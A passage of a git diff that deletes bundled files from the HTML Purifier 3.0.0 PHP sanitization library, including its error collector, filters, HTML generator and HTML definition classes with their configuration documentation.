1, 2 or 3 set with a hex value, dec value, - * or string (respectively). - * @returns Replacement string. - */ - protected function specialEntityCallback($matches) { - $entity = $matches[0]; - $is_num = (@$matches[0][1] === '#'); - if ($is_num) { - $is_hex = (@$entity[2] === 'x'); - $int = $is_hex ? hexdec($matches[1]) : (int) $matches[2]; - return isset($this->_special_dec2str[$int]) ? - $this->_special_dec2str[$int] : - $entity; - } else { - return isset($this->_special_ent2dec[$matches[3]]) ? - $this->_special_ent2dec[$matches[3]] : - $entity; - } - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Error.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Error.php deleted file mode 100644 index 2ca4d73..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Error.php +++ /dev/null @@ -1,7 +0,0 @@ -<?php - -/** - * Return object from functions that signifies error when null doesn't cut it - */ -class HTMLPurifier_Error {} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ErrorCollector.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ErrorCollector.php deleted file mode 100644 index 3c1e7fd..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/ErrorCollector.php +++ /dev/null @@ -1,118 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Generator.php'; - -/** - * Error collection class that enables HTML Purifier to report HTML - * problems back to the user - */ -class HTMLPurifier_ErrorCollector -{ - - protected $errors = array(); - protected $locale; - protected $generator; - protected $context; - - public function __construct($context) { - $this->locale =& $context->get('Locale'); - $this->generator =& $context->get('Generator'); - $this->context =& $context; - } - - /** - * Sends an error message to the collector for later use - * @param $line Integer line number, or HTMLPurifier_Token that caused error - * @param $severity int Error severity, PHP error style (don't use E_USER_) - * @param $msg string Error message text - */ - public function send($severity, $msg) { - - $args = array(); - if (func_num_args() > 2) { - $args = func_get_args(); - array_shift($args); - unset($args[0]); - } - - $token = $this->context->get('CurrentToken', true); - $line = $token ? $token->line : $this->context->get('CurrentLine', true); - $attr = $this->context->get('CurrentAttr', true); - - // perform special substitutions, also add custom parameters - $subst = array(); - if (!is_null($token)) { - $args['CurrentToken'] = $token; - } - if (!is_null($attr)) { - $subst['$CurrentAttr.Name'] = $attr; - if (isset($token->attr[$attr])) $subst['$CurrentAttr.Value'] = $token->attr[$attr]; - } - - if (empty($args)) { - $msg = $this->locale->getMessage($msg); - } else { - $msg = $this->locale->formatMessage($msg, $args); - } - - if (!empty($subst)) $msg = strtr($msg, $subst); - - $this->errors[] = array($line, $severity, $msg); - } - - /** - * Retrieves raw error data for custom formatter to use - * @param List of arrays in format of array(Error message text, - * token that caused error, tokens surrounding token) - */ - public function getRaw() { - return $this->errors; - } - - /** - * Default HTML formatting implementation for error messages - * @param $config Configuration array, vital for HTML output nature - */ - public function getHTMLFormatted($config) { - $ret = array(); - - $errors = $this->errors; - - // sort error array by line - // line numbers are enabled if they aren't explicitly disabled - if ($config->get('Core', 'MaintainLineNumbers') !== false) { - $has_line = array(); - $lines = array(); - $original_order = array(); - foreach ($errors as $i => $error) { - $has_line[] = (int) (bool) $error[0]; - $lines[] = $error[0]; - $original_order[] = $i; - } - array_multisort($has_line, SORT_DESC, $lines, SORT_ASC, $original_order, SORT_ASC, $errors); - } - - foreach ($errors as $error) { - list($line, $severity, $msg) = $error; - $string = ''; - $string .= '<strong>' . $this->locale->getErrorName($severity) . '</strong>: '; - $string .= $this->generator->escape($msg); - if ($line) { - // have javascript link generation that causes - // textarea to skip to the specified line - $string .= $this->locale->formatMessage( - 'ErrorCollector: At line', array('line' => $line)); - } - $ret[] = $string; - } - - if (empty($errors)) { - return '<p>' . $this->locale->getMessage('ErrorCollector: No errors') . '</p>'; - } else { - return '<ul><li>' . implode('</li><li>', $ret) . '</li></ul>'; - } - - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Filter.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Filter.php deleted file mode 100644 index 61b9b0d..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Filter.php +++ /dev/null @@ -1,45 +0,0 @@ -<?php - -/** - * Represents a pre or post processing filter on HTML Purifier's output - * - * Sometimes, a little ad-hoc fixing of HTML has to be done before - * it gets sent through HTML Purifier: you can use filters to acheive - * this effect. For instance, YouTube videos can be preserved using - * this manner. You could have used a decorator for this task, but - * PHP's support for them is not terribly robust, so we're going - * to just loop through the filters. - * - * Filters should be exited first in, last out. If there are three filters, - * named 1, 2 and 3, the order of execution should go 1->preFilter, - * 2->preFilter, 3->preFilter, purify, 3->postFilter, 2->postFilter, - * 1->postFilter. - * - * @note Methods are not declared abstract as it is perfectly legitimate - * for an implementation not to want anything to happen on a step - */ - -class HTMLPurifier_Filter -{ - - /** - * Name of the filter for identification purposes - */ - public $name; - - /** - * Pre-processor function, handles HTML before HTML Purifier - */ - public function preFilter($html, $config, $context) { - return $html; - } - - /** - * Post-processor function, handles HTML after HTML Purifier - */ - public function postFilter($html, $config, $context) { - return $html; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Filter/ExtractStyleBlocks.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Filter/ExtractStyleBlocks.php deleted file mode 100644 index 0c8b9e6..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Filter/ExtractStyleBlocks.php +++ /dev/null @@ -1,172 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Filter.php'; - -HTMLPurifier_ConfigSchema::define( - 'Filter', 'ExtractStyleBlocksEscaping', true, 'bool', ' -<p> - Whether or not to escape the dangerous characters &lt;, &gt; and &amp; - as \3C, \3E and \26, respectively. This is can be safely set to false - if the contents of StyleBlocks will be placed in an external stylesheet, - where there is no risk of it being interpreted as HTML. This directive - has been available since 3.0.0. -</p> -' -); - -HTMLPurifier_ConfigSchema::define( - 'Filter', 'ExtractStyleBlocksScope', null, 'string/null', ' -<p> - If you would like users to be able to define external stylesheets, but - only allow them to specify CSS declarations for a specific node and - prevent them from fiddling with other elements, use this directive. - It accepts any valid CSS selector, and will prepend this to any - CSS declaration extracted from the document. For example, if this - directive is set to <code>#user-content</code> and a user uses the - selector <code>a:hover</code>, the final selector will be - <code>#user-content a:hover</code>. -</p> -<p> - The comma shorthand may be used; consider the above example, with - <code>#user-content, #user-content2</code>, the final selector will - be <code>#user-content a:hover, #user-content2 a:hover</code>. -</p> -<p> - <strong>Warning:</strong> It is possible for users to bypass this measure - using a naughty + selector. This is a bug in CSS Tidy 1.3, not HTML - Purifier, and I am working to get it fixed. Until then, HTML Purifier - performs a basic check to prevent this. -</p> -<p> - This directive has been available since 3.0.0. -</p> -' -); - -/** - * This filter extracts <style> blocks from input HTML, cleans them up - * using CSSTidy, and then places them in $purifier->context->get('StyleBlocks') - * so they can be used elsewhere in the document. - * - * @note - * See tests/HTMLPurifier/Filter/ExtractStyleBlocksTest.php for - * sample usage. - * - * @note - * This filter can also be used on stylesheets not included in the - * document--something purists would probably prefer. Just directly - * call HTMLPurifier_Filter_ExtractStyleBlocks->cleanCSS() - */ -class HTMLPurifier_Filter_ExtractStyleBlocks extends HTMLPurifier_Filter -{ - - public $name = 'ExtractStyleBlocks'; - private $_styleMatches = array(); - private $_tidy; - - /** - * @param $tidy - * Instance of csstidy to use, false to turn off cleaning, - * and null to automatically instantiate - */ - public function __construct($tidy = null) { - if ($tidy === null) $tidy = new csstidy(); - $this->_tidy = $tidy; - } - - /** - * Save the contents of CSS blocks to style matches - * @param $matches preg_replace style $matches array - */ - protected function styleCallback($matches) { - $this->_styleMatches[] = $matches[1]; - } - - /** - * Removes inline <style> tags from HTML, saves them for later use - * @todo Extend to indicate non-text/css style blocks - */ - public function preFilter($html, $config, $context) { - $html = preg_replace_callback('#<style(?:\s.*)?>(.+)</style>#isU', array($this, 'styleCallback'), $html); - $style_blocks = $this->_styleMatches; - $this->_styleMatches = array(); // reset - $context->register('StyleBlocks', $style_blocks); // $context must not be reused - if ($this->_tidy) { - foreach ($style_blocks as &$style) { - $style = $this->cleanCSS($style, $config, $context); - } - } - return $html; - } - - /** - * Takes CSS (the stuff found in <style>) and cleans it. - * @warning Requires CSSTidy <http://csstidy.sourceforge.net/> - * @param $css CSS styling to clean - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - * @return Cleaned CSS - */ - public function cleanCSS($css, $config, $context) { - // prepare scope - $scope = $config->get('Filter', 'ExtractStyleBlocksScope'); - if ($scope !== null) { - $scopes = array_map('trim', explode(',', $scope)); - } else { - $scopes = array(); - } - $this->_tidy->parse($css); - $css_definition = $config->getDefinition('CSS'); - foreach ($this->_tidy->css as $k => $decls) { - // $decls are all CSS declarations inside an @ selector - $new_decls = array(); - foreach ($decls as $selector => $style) { - $selector = trim($selector); - if ($selector === '') continue; // should not happen - if ($selector[0] === '+') { - if ($selector !== '' && $selector[0] === '+') continue; - } - if (!empty($scopes)) { - $new_selector = array(); // because multiple ones are possible - $selectors = array_map('trim', explode(',', $selector)); - foreach ($scopes as $s1) { - foreach ($selectors as $s2) { - $new_selector[] = "$s1 $s2"; - } - } - $selector = implode(', ', $new_selector); // now it's a string - } - foreach ($style as $name => $value) { - if (!isset($css_definition->info[$name])) { - unset($style[$name]); - continue; - } - $def = $css_definition->info[$name]; - $ret = $def->validate($value, $config, $context); - if ($ret === false) unset($style[$name]); - else $style[$name] = $ret; - } - $new_decls[$selector] = $style; - } - $this->_tidy->css[$k] = $new_decls; - } - // remove stuff that shouldn't be used, could be reenabled - // after security risks are analyzed - $this->_tidy->import = array(); - $this->_tidy->charset = null; - $this->_tidy->namespace = null; - $css = $this->_tidy->print->plain(); - // we are going to escape any special characters <>& to ensure - // that no funny business occurs (i.e. </style> in a font-family prop). - if ($config->get('Filter', 'ExtractStyleBlocksEscaping')) { - $css = str_replace( - array('<', '>', '&'), - array('\3C ', '\3E ', '\26 '), - $css - ); - } - return $css; - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Filter/YouTube.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Filter/YouTube.php deleted file mode 100644 index ff89b6c..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Filter/YouTube.php +++ /dev/null @@ -1,33 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Filter.php'; - -class HTMLPurifier_Filter_YouTube extends HTMLPurifier_Filter -{ - - public $name = 'YouTube'; - - public function preFilter($html, $config, $context) { - $pre_regex = '#<object[^>]+>.+?'. - 'http://www.youtube.com/v/([A-Za-z0-9\-_]+).+?</object>#s'; - $pre_replace = '<span class="youtube-embed">\1</span>'; - return preg_replace($pre_regex, $pre_replace, $html); - } - - public function postFilter($html, $config, $context) { - $post_regex = '#<span class="youtube-embed">([A-Za-z0-9\-_]+)</span>#'; - $post_replace = '<object width="425" height="350" '. - 'data="http://www.youtube.com/v/\1">'. - '<param name="movie" value="http://www.youtube.com/v/\1"></param>'. - '<param name="wmode" value="transparent"></param>'. - '<!--[if IE]>'. - '<embed src="http://www.youtube.com/v/\1"'. - 'type="application/x-shockwave-flash"'. - 'wmode="transparent" width="425" height="350" />'. - '<![endif]-->'. - '</object>'; - return preg_replace($post_regex, $post_replace, $html); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Generator.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Generator.php deleted file mode 100644 index b4a6d6e..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/Generator.php +++ /dev/null @@ -1,210 +0,0 @@ -<?php - -HTMLPurifier_ConfigSchema::define( - 'Output', 'CommentScriptContents', true, 'bool', - 'Determines whether or not HTML Purifier should attempt to fix up '. - 'the contents of script tags for legacy browsers with comments. This '. - 'directive was available since 2.0.0.' -); -HTMLPurifier_ConfigSchema::defineAlias('Core', 'CommentScriptContents', 'Output', 'CommentScriptContents'); - -// extension constraints could be factored into ConfigSchema -HTMLPurifier_ConfigSchema::define( - 'Output', 'TidyFormat', false, 'bool', <<<HTML -<p> - Determines whether or not to run Tidy on the final output for pretty - formatting reasons, such as indentation and wrap. -</p> -<p> - This can greatly improve readability for editors who are hand-editing - the HTML, but is by no means necessary as HTML Purifier has already - fixed all major errors the HTML may have had. Tidy is a non-default - extension, and this directive will silently fail if Tidy is not - available. -</p> -<p> - If you are looking to make the overall look of your page's source - better, I recommend running Tidy on the entire page rather than just - user-content (after all, the indentation relative to the containing - blocks will be incorrect). -</p> -<p> - This directive was available since 1.1.1. -</p> -HTML -); -HTMLPurifier_ConfigSchema::defineAlias('Core', 'TidyFormat', 'Output', 'TidyFormat'); - -HTMLPurifier_ConfigSchema::define('Output', 'Newline', null, 'string/null', ' -<p> - Newline string to format final output with. If left null, HTML Purifier - will auto-detect the default newline type of the system and use that; - you can manually override it here. Remember, \r\n is Windows, \r - is Mac, and \n is Unix. This directive was available since 2.0.1. -</p> -'); - -/** - * Generates HTML from tokens. - * @todo Refactor interface so that configuration/context is determined - * upon instantiation, no need for messy generateFromTokens() calls - * @todo Make some of the more internal functions protected, and have - * unit tests work around that - */ -class HTMLPurifier_Generator -{ - - /** - * Bool cache of %HTML.XHTML - * @private - */ - private $_xhtml = true; - - /** - * Bool cache of %Output.CommentScriptContents - * @private - */ - private $_scriptFix = false; - - /** - * Cache of HTMLDefinition - * @private - */ - private $_def; - - /** - * Generates HTML from an array of tokens. - * @param $tokens Array of HTMLPurifier_Token - * @param $config HTMLPurifier_Config object - * @return Generated HTML - */ - public function generateFromTokens($tokens, $config, $context) { - $html = ''; - if (!$config) $config = HTMLPurifier_Config::createDefault(); - $this->_scriptFix = $config->get('Output', 'CommentScriptContents'); - - $this->_def = $config->getHTMLDefinition(); - $this->_xhtml = $this->_def->doctype->xml; - - if (!$tokens) return ''; - for ($i = 0, $size = count($tokens); $i < $size; $i++) { - if ($this->_scriptFix && $tokens[$i]->name === 'script' - && $i + 2 < $size && $tokens[$i+2]->type == 'end') { - // script special case - // the contents of the script block must be ONE token - // for this to work - $html .= $this->generateFromToken($tokens[$i++]); - $html .= $this->generateScriptFromToken($tokens[$i++]); - // We're not going to do this: it wouldn't be valid anyway - //while ($tokens[$i]->name != 'script') { - // $html .= $this->generateScriptFromToken($tokens[$i++]); - //} - } - $html .= $this->generateFromToken($tokens[$i]); - } - if ($config->get('Output', 'TidyFormat') && extension_loaded('tidy')) { - - $tidy_options = array( - 'indent'=> true, - 'output-xhtml' => $this->_xhtml, - 'show-body-only' => true, - 'indent-spaces' => 2, - 'wrap' => 68, - ); - if (version_compare(PHP_VERSION, '5', '<')) { - tidy_set_encoding('utf8'); - foreach ($tidy_options as $key => $value) { - tidy_setopt($key, $value); - } - tidy_parse_string($html); - tidy_clean_repair(); - $html = tidy_get_output(); - } else { - $tidy = new Tidy; - $tidy->parseString($html, $tidy_options, 'utf8'); - $tidy->cleanRepair(); - $html = (string) $tidy; - } - } - // normalize newlines to system - $nl = $config->get('Output', 'Newline'); - if ($nl === null) $nl = PHP_EOL; - $html = str_replace("\n", $nl, $html); - return $html; - } - - /** - * Generates HTML from a single token. - * @param $token HTMLPurifier_Token object. - * @return Generated HTML - */ - public function generateFromToken($token) { - if (!isset($token->type)) return ''; - if ($token->type == 'start') { - $attr = $this->generateAttributes($token->attr, $token->name); - return '<' . $token->name . ($attr ? ' ' : '') . $attr . '>'; - - } elseif ($token->type == 'end') { - return '</' . $token->name . '>'; - - } elseif ($token->type == 'empty') { - $attr = $this->generateAttributes($token->attr, $token->name); - return '<' . $token->name . ($attr ? ' ' : '') . $attr . - ( $this->_xhtml ? ' /': '' ) - . '>'; - - } elseif ($token->type == 'text') { - return $this->escape($token->data); - - } else { - return ''; - - } - } - - /** - * Special case processor for the contents of script tags - * @warning This runs into problems if there's already a literal - * --> somewhere inside the script contents. - */ - public function generateScriptFromToken($token) { - if ($token->type != 'text') return $this->generateFromToken($token); - // return '<!--' . "\n" . trim($token->data) . "\n" . '// -->'; - // more advanced version: - // thanks <http://lachy.id.au/log/2005/05/script-comments> - $data = preg_replace('#//\s*$#', '', $token->data); - return '<!--//--><![CDATA[//><!--' . "\n" . trim($data) . "\n" . '//--><!]]>'; - } - - /** - * Generates attribute declarations from attribute array. - * @param $assoc_array_of_attributes Attribute array - * @return Generate HTML fragment for insertion. - */ - public function generateAttributes($assoc_array_of_attributes, $element) { - $html = ''; - foreach ($assoc_array_of_attributes as $key => $value) { - if (!$this->_xhtml) { - // remove namespaced attributes - if (strpos($key, ':') !== false) continue; - if (!empty($this->_def->info[$element]->attr[$key]->minimized)) { - $html .= $key . ' '; - continue; - } - } - $html .= $key.'="'.$this->escape($value).'" '; - } - return rtrim($html); - } - - /** - * Escapes raw text data. - * @param $string String data to escape for HTML. - * @return String escaped data. - */ - public function escape($string) { - return htmlspecialchars($string, ENT_COMPAT, 'UTF-8'); - } - -} - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLDefinition.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLDefinition.php deleted file mode 100644 index ed656f4..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLDefinition.php +++ /dev/null @@ -1,461 +0,0 @@ -<?php - -require_once 'HTMLPurifier/Definition.php'; -require_once 'HTMLPurifier/HTMLModuleManager.php'; - -// this definition and its modules MUST NOT define configuration directives -// outside of the HTML or Attr namespaces - -HTMLPurifier_ConfigSchema::define( - 'HTML', 'DefinitionID', null, 'string/null', ' -<p> - Unique identifier for a custom-built HTML definition. If you edit - the raw version of the HTMLDefinition, introducing changes that the - configuration object does not reflect, you must specify this variable. - If you change your custom edits, you should change this directive, or - clear your cache. Example: -</p> -<pre> -$config = HTMLPurifier_Config::createDefault(); -$config->set(\'HTML\', \'DefinitionID\', \'1\'); -$def = $config->getHTMLDefinition(); -$def->addAttribute(\'a\', \'tabindex\', \'Number\'); -</pre> -<p> - In the above example, the configuration is still at the defaults, but - using the advanced API, an extra attribute has been added. The - configuration object normally has no way of knowing that this change - has taken place, so it needs an extra directive: %HTML.DefinitionID. - If someone else attempts to use the default configuration, these two - pieces of code will not clobber each other in the cache, since one has - an extra directive attached to it. -</p> -<p> - This directive has been available since 2.0.0, and in that version or - later you <em>must</em> specify a value to this directive to use the - advanced API features. -</p> -'); - -HTMLPurifier_ConfigSchema::define( - 'HTML', 'DefinitionRev', 1, 'int', ' -<p> - Revision identifier for your custom definition specified in - %HTML.DefinitionID. This serves the same purpose: uniquely identifying - your custom definition, but this one does so in a chronological - context: revision 3 is more up-to-date then revision 2. Thus, when - this gets incremented, the cache handling is smart enough to clean - up any older revisions of your definition as well as flush the - cache. This directive has been available since 2.0.0. -</p> -'); - -HTMLPurifier_ConfigSchema::define( - 'HTML', 'BlockWrapper', 'p', 'string', ' -<p> - String name of element to wrap inline elements that are inside a block - context. This only occurs in the children of blockquote in strict mode. -</p> -<p> - Example: by default value, - <code>&lt;blockquote&gt;Foo&lt;/blockquote&gt;</code> would become - <code>&lt;blockquote&gt;&lt;p&gt;Foo&lt;/p&gt;&lt;/blockquote&gt;</code>. - The <code>&lt;p&gt;</code> tags can be replaced with whatever you desire, - as long as it is a block level element. This directive has been available - since 1.3.0. -</p> -'); - -HTMLPurifier_ConfigSchema::define( - 'HTML', 'Parent', 'div', 'string', ' -<p> - String name of element that HTML fragment passed to library will be - inserted in. An interesting variation would be using span as the - parent element, meaning that only inline tags would be allowed. - This directive has been available since 1.3.0. -</p> -'); - -HTMLPurifier_ConfigSchema::define( - 'HTML', 'AllowedElements', null, 'lookup/null', ' -<p> - If HTML Purifier\'s tag set is unsatisfactory for your needs, you - can overload it with your own list of tags to allow. Note that this - method is subtractive: it does its job by taking away from HTML Purifier - usual feature set, so you cannot add a tag that HTML Purifier never - supported in the first place (like embed, form or head). If you - change this, you probably also want to change %HTML.AllowedAttributes. -</p> -<p> - <strong>Warning:</strong> If another directive conflicts with the - elements here, <em>that</em> directive will win and override. - This directive has been available since 1.3.0. -</p> -'); - -HTMLPurifier_ConfigSchema::define( - 'HTML', 'AllowedAttributes', null, 'lookup/null', ' -<p> - If HTML Purifier\'s attribute set is unsatisfactory, overload it! - The syntax is "tag.attr" or "*.attr" for the global attributes - (style, id, class, dir, lang, xml:lang). -</p> -<p> - <strong>Warning:</strong> If another directive conflicts with the - elements here, <em>that</em> directive will win and override. For - example, %HTML.EnableAttrID will take precedence over *.id in this - directive. You must set that directive to true before you can use - IDs at all. This directive has been available since 1.3.0. -</p> -'); - -HTMLPurifier_ConfigSchema::define( - 'HTML', 'Allowed', null, 'itext/null', ' -<p> - This is a convenience directive that rolls the functionality of - %HTML.AllowedElements and %HTML.AllowedAttributes into one directive. - Specify elements and attributes that are allowed using: - <code>element1[attr1|attr2],element2...</code>. You can also use - newlines instead of commas to separate elements. -</p> -<p> - <strong>Warning</strong>: - All of the constraints on the component directives are still enforced. - The syntax is a <em>subset</em> of TinyMCE\'s <code>valid_elements</code> - whitelist: directly copy-pasting it here will probably result in - broken whitelists. If %HTML.AllowedElements or %HTML.AllowedAttributes - are set, this directive has no effect. - This directive has been available since 2.0.0. -</p> -'); - -/** - * Definition of the purified HTML that describes allowed children, - * attributes, and many other things. - * - * Conventions: - * - * All member variables that are prefixed with info - * (including the main $info array) are used by HTML Purifier internals - * and should not be directly edited when customizing the HTMLDefinition. - * They can usually be set via configuration directives or custom - * modules. - * - * On the other hand, member variables without the info prefix are used - * internally by the HTMLDefinition and MUST NOT be used by other HTML - * Purifier internals. Many of them, however, are public, and may be - * edited by userspace code to tweak the behavior of HTMLDefinition. - * - * @note This class is inspected by Printer_HTMLDefinition; please - * update that class if things here change. - */ -class HTMLPurifier_HTMLDefinition extends HTMLPurifier_Definition -{ - - // FULLY-PUBLIC VARIABLES --------------------------------------------- - - /** - * Associative array of element names to HTMLPurifier_ElementDef - */ - public $info = array(); - - /** - * Associative array of global attribute name to attribute definition. - */ - public $info_global_attr = array(); - - /** - * String name of parent element HTML will be going into. - */ - public $info_parent = 'div'; - - /** - * Definition for parent element, allows parent element to be a - * tag that's not allowed inside the HTML fragment. - */ - public $info_parent_def; - - /** - * String name of element used to wrap inline elements in block context - * @note This is rarely used except for BLOCKQUOTEs in strict mode - */ - public $info_block_wrapper = 'p'; - - /** - * Associative array of deprecated tag name to HTMLPurifier_TagTransform - */ - public $info_tag_transform = array(); - - /** - * Indexed list of HTMLPurifier_AttrTransform to be performed before validation. - */ - public $info_attr_transform_pre = array(); - - /** - * Indexed list of HTMLPurifier_AttrTransform to be performed after validation. - */ - public $info_attr_transform_post = array(); - - /** - * Nested lookup array of content set name (Block, Inline) to - * element name to whether or not it belongs in that content set. - */ - public $info_content_sets = array(); - - /** - * Doctype object - */ - public $doctype; - - - - // RAW CUSTOMIZATION STUFF -------------------------------------------- - - /** - * Adds a custom attribute to a pre-existing element - * @param $element_name String element name to add attribute to - * @param $attr_name String name of attribute - * @param $def Attribute definition, can be string or object, see - * HTMLPurifier_AttrTypes for details - */ - public function addAttribute($element_name, $attr_name, $def) { - $module =& $this->getAnonymousModule(); - $element =& $module->addBlankElement($element_name); - $element->attr[$attr_name] = $def; - } - - /** - * Adds a custom element to your HTML definition - * @note See HTMLPurifier_HTMLModule::addElement for detailed - * parameter and return value descriptions. - */ - public function &addElement($element_name, $type, $contents, $attr_collections, $attributes) { - $module =& $this->getAnonymousModule(); - // assume that if the user is calling this, the element - // is safe. This may not be a good idea - $element =& $module->addElement($element_name, true, $type, $contents, $attr_collections, $attributes); - return $element; - } - - /** - * Adds a blank element to your HTML definition, for overriding - * existing behavior - * @note See HTMLPurifier_HTMLModule::addBlankElement for detailed - * parameter and return value descriptions. - */ - public function &addBlankElement($element_name) { - $module =& $this->getAnonymousModule(); - $element =& $module->addBlankElement($element_name); - return $element; - } - - /** - * Retrieves a reference to the anonymous module, so you can - * bust out advanced features without having to make your own - * module. - */ - public function &getAnonymousModule() { - if (!$this->_anonModule) { - $this->_anonModule = new HTMLPurifier_HTMLModule(); - $this->_anonModule->name = 'Anonymous'; - } - return $this->_anonModule; - } - - private $_anonModule; - - - // PUBLIC BUT INTERNAL VARIABLES -------------------------------------- - - public $type = 'HTML'; - public $manager; /**< Instance of HTMLPurifier_HTMLModuleManager */ - - /** - * Performs low-cost, preliminary initialization. - */ - public function __construct() { - $this->manager = new HTMLPurifier_HTMLModuleManager(); - } - - protected function doSetup($config) { - $this->processModules($config); - $this->setupConfigStuff($config); - unset($this->manager); - - // cleanup some of the element definitions - foreach ($this->info as $k => $v) { - unset($this->info[$k]->content_model); - unset($this->info[$k]->content_model_type); - } - } - - /** - * Extract out the information from the manager - */ - protected function processModules($config) { - - if ($this->_anonModule) { - // for user specific changes - // this is late-loaded so we don't have to deal with PHP4 - // reference wonky-ness - $this->manager->addModule($this->_anonModule); - unset($this->_anonModule); - } - - $this->manager->setup($config); - $this->doctype = $this->manager->doctype; - - foreach ($this->manager->modules as $module) { - foreach($module->info_tag_transform as $k => $v) { - if ($v === false) unset($this->info_tag_transform[$k]); - else $this->info_tag_transform[$k] = $v; - } - foreach($module->info_attr_transform_pre as $k => $v) { - if ($v === false) unset($this->info_attr_transform_pre[$k]); - else $this->info_attr_transform_pre[$k] = $v; - } - foreach($module->info_attr_transform_post as $k => $v) { - if ($v === false) unset($this->info_attr_transform_post[$k]); - else $this->info_attr_transform_post[$k] = $v; - } - } - - $this->info = $this->manager->getElements(); - $this->info_content_sets = $this->manager->contentSets->lookup; - - } - - /** - * Sets up stuff based on config. We need a better way of doing this. - */ - protected function setupConfigStuff($config) { - - $block_wrapper = $config->get('HTML', 'BlockWrapper'); - if (isset($this->info_content_sets['Block'][$block_wrapper])) { - $this->info_block_wrapper = $block_wrapper; - } else { - trigger_error('Cannot use non-block element as block wrapper', - E_USER_ERROR); - } - - $parent = $config->get('HTML', 'Parent'); - $def = $this->manager->getElement($parent, true); - if ($def) { - $this->info_parent = $parent; - $this->info_parent_def = $def; - } else { - trigger_error('Cannot use unrecognized element as parent', - E_USER_ERROR); - $this->info_parent_def = $this->manager->getElement($this->info_parent, true); - } - - // support template text - $support = "(for information on implementing this, see the ". - "support forums) "; - - // setup allowed elements - - $allowed_elements = $config->get('HTML', 'AllowedElements'); - $allowed_attributes = $config->get('HTML', 'AllowedAttributes'); - - if (!is_array($allowed_elements) && !is_array($allowed_attributes)) { - $allowed = $config->get('HTML', 'Allowed'); - if (is_string($allowed)) { - list($allowed_elements, $allowed_attributes) = $this->parseTinyMCEAllowedList($allowed); - } - } - - if (is_array($allowed_elements)) { - foreach ($this->info as $name => $d) { - if(!isset($allowed_elements[$name])) unset($this->info[$name]); - unset($allowed_elements[$name]); - } - // emit errors - foreach ($allowed_elements as $element => $d) { - $element = htmlspecialchars($element); - trigger_error("Element '$element' is not supported $support", E_USER_WARNING); - } - } - - $allowed_attributes_mutable = $allowed_attributes; // by copy! - if (is_array($allowed_attributes)) { - foreach ($this->info_global_attr as $attr_key => $info) { - if (!isset($allowed_attributes["*.$attr_key"])) { - unset($this->info_global_attr[$attr_key]); - } elseif (isset($allowed_attributes_mutable["*.$attr_key"])) { - unset($allowed_attributes_mutable["*.$attr_key"]); - } - } - foreach ($this->info as $tag => $info) { - foreach ($info->attr as $attr => $attr_info) { - if (!isset($allowed_attributes["$tag.$attr"]) && - !isset($allowed_attributes["*.$attr"])) { - unset($this->info[$tag]->attr[$attr]); - } else { - if (isset($allowed_attributes_mutable["$tag.$attr"])) { - unset($allowed_attributes_mutable["$tag.$attr"]); - } elseif (isset($allowed_attributes_mutable["*.$attr"])) { - unset($allowed_attributes_mutable["*.$attr"]); - } - } - } - } - // emit errors - foreach ($allowed_attributes_mutable as $elattr => $d) { - list($element, $attribute) = explode('.', $elattr); - $element = htmlspecialchars($element); - $attribute = htmlspecialchars($attribute); - if ($element == '*') { - trigger_error("Global attribute '$attribute' is not ". - "supported in any elements $support", - E_USER_WARNING); - } else { - trigger_error("Attribute '$attribute' in element '$element' not supported $support", - E_USER_WARNING); - } - } - } - - } - - /** - * Parses a TinyMCE-flavored Allowed Elements and Attributes list into - * separate lists for processing. Format is element[attr1|attr2],element2... - * @warning Although it's largely drawn from TinyMCE's implementation, - * it is different, and you'll probably have to modify your lists - * @param $list String list to parse - * @param array($allowed_elements, $allowed_attributes) - * @todo Give this its own class, probably static interface - */ - public function parseTinyMCEAllowedList($list) { - - $elements = array(); - $attributes = array(); - - $chunks = preg_split('/(,|[\n\r]+)/', $list); - foreach ($chunks as $chunk) { - if (empty($chunk)) continue; - // remove TinyMCE element control characters - if (!strpos($chunk, '[')) { - $element = $chunk; - $attr = false; - } else { - list($element, $attr) = explode('[', $chunk); - } - if ($element !== '*') $elements[$element] = true; - if (!$attr) continue; - $attr = substr($attr, 0, strlen($attr) - 1); // remove trailing ] - $attr = explode('|', $attr); - foreach ($attr as $key) { - $attributes["$element.$key"] = true; - } - } - - return array($elements, $attributes); - - } - - -} - - diff --git a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule.php b/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule.php deleted file mode 100644 index 031766b..0000000 --- a/lib/htmlpurifier-3.0.0/library/HTMLPurifier/HTMLModule.php +++ /dev/null @@ -1,213 +0,0 @@ -<?php - -/** - * Represents an XHTML 1.1 module, with information on elements, tags - * and attributes. - * @note Even though this is technically XHTML 1.1, it is also used for - * regular HTML parsing. We are using modulization as a convenient - * way to represent the internals of HTMLDefinition, and our - * implementation is by no means conforming and does not directly - * use the normative DTDs or XML schemas. - * @note The public variables in a module should almost directly - * correspond to the variables in HTMLPurifier_HTMLDefinition. - * However, the prefix info carries no special meaning in these - * objects (include it anyway if that's the 